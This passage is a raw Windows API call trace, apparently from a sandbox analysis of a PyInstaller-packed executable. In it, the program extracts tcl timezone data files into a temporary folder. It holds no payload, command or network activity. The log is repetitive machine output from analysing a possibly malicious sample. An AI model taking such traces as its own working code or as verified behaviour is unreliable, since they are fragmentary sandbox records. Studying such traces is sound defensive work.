lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.402] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.402] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.402] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.402] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.403] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.403] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.403] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.403] CloseHandle (hObject=0x10c) returned 1 [0043.403] GetLastError () returned 0x0 [0043.403] SetLastError (dwErrCode=0x0) [0043.403] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.403] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.403] GetFileType (hFile=0x10c) returned 0x1 [0043.403] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.403] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.403] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.403] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.403] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.403] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.403] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.404] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.404] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.404] CloseHandle (hObject=0x10c) returned 1 [0043.404] GetLastError () returned 0x0 [0043.404] SetLastError (dwErrCode=0x0) [0043.404] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\ROK") returned 60 [0043.404] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\ROK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\rok"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.404] GetLastError () returned 0x2 [0043.404] SetLastError (dwErrCode=0x2) [0043.404] GetLastError () returned 0x2 [0043.404] SetLastError (dwErrCode=0x2) [0043.404] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\ROK", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\ROK", lpFilePart=0x0) returned 0x3b [0043.404] GetLastError () returned 0x2 [0043.404] SetLastError (dwErrCode=0x2) [0043.404] GetLastError () returned 0x2 [0043.404] SetLastError (dwErrCode=0x2) [0043.404] GetLastError () returned 0x2 [0043.404] SetLastError (dwErrCode=0x2) [0043.404] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\ROK") returned 60 [0043.404] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.404] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\ROK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\rok"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.405] GetFileType (hFile=0x10c) returned 0x1 [0043.405] htonl (hostlong=0x9d000000) returned 0x9d [0043.405] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.405] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x9d, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x9d, lpOverlapped=0x0) returned 1 [0043.406] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.406] CloseHandle (hObject=0x10c) returned 1 [0043.406] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.406] htonl (hostlong=0x30000000) returned 0x30 [0043.406] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.406] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.406] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.406] GetFileType (hFile=0x10c) returned 0x1 [0043.406] htonl (hostlong=0x332a5d00) returned 0x5d2a33 [0043.406] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61da33, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.406] htonl (hostlong=0x84000000) returned 0x84 [0043.406] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x84) returned 0x55cfe0 [0043.406] htonl (hostlong=0x84000000) returned 0x84 [0043.406] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.406] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.406] htonl (hostlong=0xaf000000) returned 0xaf [0043.406] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xaf) returned 0x550600 [0043.406] htonl (hostlong=0x84000000) returned 0x84 [0043.406] htonl (hostlong=0xaf000000) returned 0xaf [0043.406] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.406] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.406] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.406] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.406] CloseHandle (hObject=0x10c) returned 1 [0043.407] GetLastError () returned 0x0 [0043.407] SetLastError (dwErrCode=0x0) [0043.407] GetLastError () returned 0x0 [0043.407] SetLastError (dwErrCode=0x0) [0043.407] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.407] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.407] GetFileType (hFile=0x10c) returned 0x1 [0043.407] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.407] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.407] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.407] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.407] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.407] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.407] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.407] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.407] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.407] CloseHandle (hObject=0x10c) returned 1 [0043.407] GetLastError () returned 0x0 [0043.407] SetLastError (dwErrCode=0x0) [0043.407] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.407] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.407] GetFileType (hFile=0x10c) returned 0x1 [0043.407] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.407] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.407] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.407] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.408] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.408] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.408] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.408] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.408] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.408] CloseHandle (hObject=0x10c) returned 1 [0043.408] GetLastError () returned 0x0 [0043.408] SetLastError (dwErrCode=0x0) [0043.408] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Singapore") returned 66 [0043.408] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Singapore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\singapore"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.408] GetLastError () returned 0x2 [0043.408] SetLastError (dwErrCode=0x2) [0043.408] GetLastError () returned 0x2 [0043.408] SetLastError (dwErrCode=0x2) [0043.408] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Singapore", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Singapore", lpFilePart=0x0) returned 0x41 [0043.408] GetLastError () returned 0x2 [0043.408] SetLastError (dwErrCode=0x2) [0043.408] GetLastError () returned 0x2 [0043.408] SetLastError (dwErrCode=0x2) [0043.408] GetLastError () returned 0x2 [0043.408] SetLastError (dwErrCode=0x2) [0043.408] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Singapore") returned 66 [0043.408] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.408] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Singapore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\singapore"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.409] GetFileType (hFile=0x10c) returned 0x1 [0043.409] htonl (hostlong=0xaf000000) returned 0xaf [0043.409] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.409] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xaf, lpOverlapped=0x0) returned 1 [0043.417] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.417] CloseHandle (hObject=0x10c) returned 1 [0043.417] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.417] htonl (hostlong=0x30000000) returned 0x30 [0043.417] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.417] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.417] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.417] GetFileType (hFile=0x10c) returned 0x1 [0043.418] htonl (hostlong=0xb72a5d00) returned 0x5d2ab7 [0043.418] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61dab7, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.418] htonl (hostlong=0x95000000) returned 0x95 [0043.418] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x95) returned 0x55cfe0 [0043.418] htonl (hostlong=0x95000000) returned 0x95 [0043.418] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.418] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.418] htonl (hostlong=0xc4000000) returned 0xc4 [0043.418] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc4) returned 0x550600 [0043.418] htonl (hostlong=0x95000000) returned 0x95 [0043.418] htonl (hostlong=0xc4000000) returned 0xc4 [0043.418] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.418] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.418] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.418] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.418] CloseHandle (hObject=0x10c) returned 1 [0043.418] GetLastError () returned 0x0 [0043.418] SetLastError (dwErrCode=0x0) [0043.418] GetLastError () returned 0x0 [0043.418] SetLastError (dwErrCode=0x0) [0043.418] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.418] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.418] GetFileType (hFile=0x10c) returned 0x1 [0043.418] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.418] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.418] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.418] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.419] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.419] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.419] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.419] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.419] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.419] CloseHandle (hObject=0x10c) returned 1 [0043.419] GetLastError () returned 0x0 [0043.419] SetLastError (dwErrCode=0x0) [0043.419] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.419] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.419] GetFileType (hFile=0x10c) returned 0x1 [0043.419] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.419] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.419] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.419] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.419] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.419] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.419] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.419] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.419] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.419] CloseHandle (hObject=0x10c) returned 1 [0043.420] GetLastError () returned 0x0 [0043.420] SetLastError (dwErrCode=0x0) [0043.420] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV") returned 64 [0043.420] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.420] GetLastError () returned 0x2 [0043.420] SetLastError (dwErrCode=0x2) [0043.420] GetLastError () returned 0x2 [0043.420] SetLastError (dwErrCode=0x2) [0043.420] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV", lpFilePart=0x0) returned 0x3f [0043.420] GetLastError () returned 0x2 [0043.420] SetLastError (dwErrCode=0x2) [0043.420] GetLastError () returned 0x2 [0043.420] SetLastError (dwErrCode=0x2) [0043.420] GetLastError () returned 0x2 [0043.420] SetLastError (dwErrCode=0x2) [0043.420] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv"), lpSecurityAttributes=0x0) returned 1 [0043.421] GetLastError () returned 0x2 [0043.421] SetLastError (dwErrCode=0x2) [0043.421] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\AST4") returned 69 [0043.421] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\AST4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\ast4"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.421] GetLastError () returned 0x2 [0043.421] SetLastError (dwErrCode=0x2) [0043.421] GetLastError () returned 0x2 